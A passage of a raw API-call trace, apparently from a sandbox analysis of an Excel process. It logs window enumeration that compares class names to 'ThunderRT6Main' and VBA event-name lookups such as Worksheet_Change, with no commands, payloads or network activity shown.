GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0156.351] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.351] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0156.351] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0156.351] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.351] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0156.351] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0156.351] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.351] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0156.351] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.351] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0156.351] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0156.351] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0156.351] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0156.351] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0156.351] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0156.351] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0156.351] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0156.351] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0156.351] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0156.351] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0156.351] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0156.351] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0156.351] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0156.351] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0156.351] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.351] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0156.352] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5962390 [0156.352] IMalloc:Free (This=0x7fefe465380, pv=0x5962390) [0156.411] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0156.411] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0156.411] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0156.412] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0156.412] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0156.412] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0156.419] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0156.419] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0156.419] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0156.421] GetCurrentThreadId () returned 0xa30 [0156.421] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0156.421] GetDesktopWindow () returned 0x10010 [0156.421] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0156.421] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0156.421] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0156.421] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0156.421] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0156.421] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0156.421] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0156.421] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0156.421] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0156.421] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.421] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.421] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.421] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0156.421] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0156.422] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0156.422] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.422] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0156.422] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.422] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0156.422] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0156.422] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0156.422] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0156.422] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.422] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0156.422] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.422] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0156.422] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0156.422] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0156.422] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0156.422] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0156.422] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.422] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.422] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0156.422] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.422] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0156.422] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.422] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0156.422] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.422] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0156.422] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.422] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0156.422] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0156.422] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0156.422] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.422] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0156.423] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.423] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0156.423] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0156.423] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0156.423] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0156.423] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.423] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0156.423] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0156.423] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0156.423] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0156.423] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0156.423] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0156.423] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0156.423] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.423] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0156.423] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0156.423] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0156.423] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0156.423] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0156.423] IsWindowEnabled (hWnd=0x302dc) returned 1 [0156.423] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0156.423] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0156.423] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0156.423] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0156.423] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0156.423] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0156.423] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0156.423] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0156.423] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0156.423] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0156.423] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0156.423] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.423] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0156.423] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0156.423] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0156.423] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0156.423] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.423] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.423] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0156.423] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0156.423] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0156.423] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0156.423] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.423] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.423] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0156.424] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0156.424] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0156.424] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0156.424] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.424] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0156.424] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0156.424] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0156.424] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0156.424] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0156.424] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0156.424] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0156.424] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.424] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0156.424] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0156.424] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0156.424] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0156.424] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0156.424] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0156.424] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0156.424] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0156.424] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0156.424] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0156.424] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0156.424] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0156.424] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0156.424] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0156.424] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0156.424] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0156.424] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0156.424] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.424] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0156.424] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0156.424] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0156.424] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0156.424] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.424] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0156.424] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0156.424] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0156.424] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0156.424] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.424] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.424] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.424] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0156.424] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0156.424] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0156.424] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0156.425] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.425] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.425] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0156.425] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0156.425] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0156.425] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0156.425] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0156.425] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.425] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0156.425] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0156.425] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0156.425] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0156.425] GetClassNameA (in: 